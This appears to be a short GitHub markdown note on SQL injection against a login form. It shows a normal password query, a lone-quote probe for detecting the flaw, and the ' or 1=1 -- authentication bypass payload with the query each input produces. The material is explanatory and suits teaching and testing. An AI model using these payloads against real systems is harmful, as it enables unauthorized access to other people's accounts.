Skip to content

Latest commit

 

History

History
executable file
·
59 lines (42 loc) · 529 Bytes

sqlinjection.md

File metadata and controls

executable file
·
59 lines (42 loc) · 529 Bytes

SQL Injection

Password:

password

Result:

SELECT *
FROM users
WHERE
    email = '[email protected]'
    AND pass  = 'password' LIMIT 1

Use this to check for vulnerability.

Password:

'

Result:

SELECT *
FROM users
WHERE
    email = '[email protected]'
    -- ERROR
    AND pass  = ''' LIMIT 1

This returns a session / JWT token

Password:

' or 1=1 --

Result:

SELECT *
FROM users
WHERE
    email = '[email protected]'
    AND pass  = '' or 1=1 --' LIMIT 1